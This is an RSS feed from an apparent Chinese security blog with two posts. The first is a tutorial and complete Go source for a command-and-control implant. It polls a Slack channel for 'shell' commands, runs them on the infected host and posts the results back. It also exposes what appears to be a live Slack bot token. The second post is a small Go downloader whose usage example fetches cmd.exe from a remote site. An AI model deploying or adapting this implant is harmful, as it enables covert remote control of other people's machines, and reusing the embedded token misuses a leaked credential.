<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>golang &#8211; ChaBug安全</title>
	<atom:link href="/tags/golang/feed" rel="self" type="application/rss+xml" />
	<link>/</link>
	<description>一个分享知识、结识伙伴、资源共享的博客</description>
	<lastBuildDate>Sat, 03 Oct 2020 16:36:04 +0000</lastBuildDate>
	<language>zh-CN</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=5.5.5</generator>
	<item>
		<title>golang利用slack编写C2</title>
		<link>/web/1926.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Sat, 03 Oct 2020 16:36:04 +0000</pubDate>
				<category><![CDATA[渗透测试]]></category>
		<category><![CDATA[C2]]></category>
		<category><![CDATA[golang]]></category>
		<category><![CDATA[Slack]]></category>
		<guid isPermaLink="false">/?p=1926</guid>

					<description><![CDATA[最近在学golang，恰好看到demon分析的golang slack c2，便想着自己也来写一写。 配置slack 注册账号什么的就不说了。访问 https://api.slac...]]>/</description>
										<content:encoded><![CDATA[<p>最近在学<span class="wpcom_tag_link"><a href="/tags/golang" title="golang" target="_blank">golang</a></span>，恰好看到demon分析的golang slack c2，便想着自己也来写一写。</p>
<h1>配置slack</h1>
<p>注册账号什么的就不说了。访问 https://api.slack.com/ 点击 <code>Start Building</code><br />
<img src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/593424/dc3e5b61-4384-6b3c-0bf6-3c850bcd4716.png" alt="image.png" /></p>
<p>创建一个app<br />
<img src="/wp-content/uploads/2020/10/ea267bba-e73e-0625-3680-b40a02c7c70f.png" alt="image.png" /></p>
<p>左侧<code>OAuth &amp; Permissions</code> -> <code>Scopes</code> 配置token权限，暂时先配置两个，之后用哪个再加。</p>
<p><img src="/wp-content/uploads/2020/10/aea99b7f-6fed-a6f8-079b-bf48c2667ac6.png" alt="image.png" /></p>
<p>然后往上翻点<code>Install App to Workspace</code></p>
<p><img src="/wp-content/uploads/2020/10/697544f1-e014-6fb9-8504-173932481567.png" alt="image.png" /></p>
<p>点allow，然后会自动跳转到token界面，记住这个token。</p>
<p><img src="/wp-content/uploads/2020/10/84e2a010-7c5f-0bfa-9a48-970282378400.png" alt="image.png" /></p>
<pre><code class="language-text line-numbers">xoxb-1413293450689-1403506559507-aWLcahb6cGLZWGHF61QPV17S
</code></pre>
<p>创建一个channel<br />
<img src="/wp-content/uploads/2020/10/fade1c37-c2f2-2a59-4786-b8bdd3ed7f9b.png" alt="image.png" /></p>
<p>记住你的channel链接<code>https://app.slack.com/client/T01C58MD8L9/C01BS6GEUJH</code>中的<code>C01BS6GEUJH</code><br />
<img src="/wp-content/uploads/2020/10/eb1412aa-4741-2fcd-e50f-9ab3f5117882.png" alt="image.png" /></p>
<p>通过 <code>/invite @myslackbot</code>把bot加到频道里。</p>
<p>然后在<code>https://api.slack.com/methods</code>是操作bot的所有api，先用<code>https://api.slack.com/methods/conversations.history/test</code>测试下获取聊天记录</p>
<p>配置好token和channel ID<br />
<img src="/wp-content/uploads/2020/10/5281e9f3-f145-d07d-e334-367dc2fd3bc9.png" alt="image.png" /></p>
<p>点test之后获取到聊天记录<br />
<img src="/wp-content/uploads/2020/10/cd6fd11a-84fa-eb73-a34b-4baa8f4d36b1.png" alt="image.png" /></p>
<p><img src="/wp-content/uploads/2020/10/b68b1d1c-37b9-40f9-e99a-82cefdd50251.png" alt="image.png" /></p>
<p>简单的流程知道了，接下来通过golang来操作api，以及编写我们的<span class="wpcom_tag_link"><a href="/tags/c2" title="C2" target="_blank">C2</a></span>。</p>
<h1>golang编写</h1>
<pre><code class="language-go line-numbers">package main

import (
    "fmt"
    "github.com/tidwall/gjson"
    "io/ioutil"
    "net/http"
    "os"
    "os/exec"
    "strings"
    "time"
)

const (
    History_api = "https://slack.com/api/conversations.history"
    PostMessage = "https://slack.com/api/chat.postMessage"
    Token       = "xoxb-1413293450689-1403506559507-aWLcahb6cGLZWGHF61QPV17S"
    Channel     = "C01BS6GEUJH"
)

func main() {
    for true {
        time.Sleep(time.Second * 10)
        result := getHistory()
        if strings.HasPrefix(result.Str, "shell") {
            cmdRes := ExecCommand(strings.Split(result.Str, " ")[1])
            putRes(cmdRes)
        } else if strings.HasPrefix(result.Str, "exit") {
            os.Exit(0)
        } else {
            fmt.Println("no command")
        }
    }
}

func getHistory() (result gjson.Result) {
    req, err := http.NewRequest("GET", History_api, nil)
    if err != nil {
        return gjson.Result{}
    }
    q := req.URL.Query()
    q.Add("token", Token)
    q.Add("channel", Channel)
    q.Add("pretty", "1")
    q.Add("limit", "1")
    req.URL.RawQuery = q.Encode()

    resp, err := http.DefaultClient.Do(req)
    if err != nil {
        return gjson.Result{}
    }
    defer resp.Body.Close()
    byte, _ := ioutil.ReadAll(resp.Body)
    result = gjson.GetBytes(byte, "messages.0.text")
    return
}

func putRes(res string) {
    req, err := http.NewRequest("POST", PostMessage, nil)
    if err != nil {
        return
    }
    p := req.URL.Query()
    p.Add("token", Token)
    p.Add("channel", Channel)
    p.Add("pretty", "1")
    p.Add("text", res)
    req.URL.RawQuery = p.Encode()
    resp, err := http.DefaultClient.Do(req)
    defer resp.Body.Close()
    if err != nil {
        return
    }

}

func ExecCommand(command string) (out string) {
    cmd := exec.Command(command)
    o, err := cmd.CombinedOutput()

    if err != nil {
        out = fmt.Sprintf("shell run error: n%sn", err)
    } else {
        out = fmt.Sprintf("combined out:n%sn", string(o))
    }
    return
}
</code></pre>
<p>看下效果</p>
<p>https://www.bilibili.com/video/BV1uk4y1C7oP/</p>
<p>自己偷偷摸摸实现了很多功能，就不放了，通过slack的API可以做很多事情。</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>golang实现的wget</title>
		<link>/tools/645.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Thu, 24 Jan 2019 07:09:17 +0000</pubDate>
				<category><![CDATA[工具分享]]></category>
		<category><![CDATA[编程学习]]></category>
		<category><![CDATA[go]]></category>
		<category><![CDATA[golang]]></category>
		<category><![CDATA[wget]]></category>
		<guid isPermaLink="false">/?p=645</guid>

					<description><![CDATA[效果 代码 package main import ( "fmt" "io" "net/http" "os" ) var url, path string func main() ...]]></description>
										<content:encoded><![CDATA[<h3 id="效果">效果</h3>
<p><a class="fancybox" href="https://ws1.sinaimg.cn/large/006xriynly1fzhoflct09j30mk069aa7.jpg" data-fancybox="gallery" data-caption=""><img src="https://ws1.sinaimg.cn/large/006xriynly1fzhoflct09j30mk069aa7.jpg" alt="实现效果" /></a></p>
<h3 id="代码"><i class="iconfont icon-link"></i>代码</h3>
<pre class="lang:default decode:true">package main

import (
	"fmt"
	"io"
	"net/http"
	"os"
)

var url, path string

func main() {
	if len(os.Args) != 3 {
		fmt.Println("usage:wget.exe http://Y4er.com/cmd.exe cmd.exe")
		os.Exit(0)
	}
	url, path = os.Args[1], os.Args[2]
	fmt.Println("你要下载的文件是：" + url)
	fmt.Println("将要保存到：" + path)
	Download(url, path)
}
func Download(url string, path string) {
	out, err := os.Create(path)
	check(err)
	defer out.Close()

	res, err := http.Get(url)
	check(err)
	defer res.Body.Close()

	_, err = io.Copy(out, res.Body)
	check(err)
	fmt.Println("保存成功，自行检查" + path)
}
func check(err error) {
	if err != nil {
		panic(err)
	}
}</pre>
<p>编译好的win64位下载链接：<a href="http://y4er.com/file/go-wget.exe">http://Y4er.com/file/go-wget.exe</a></p>
]]></content:encoded>
					
		
		
			</item>
	</channel>
</rss>
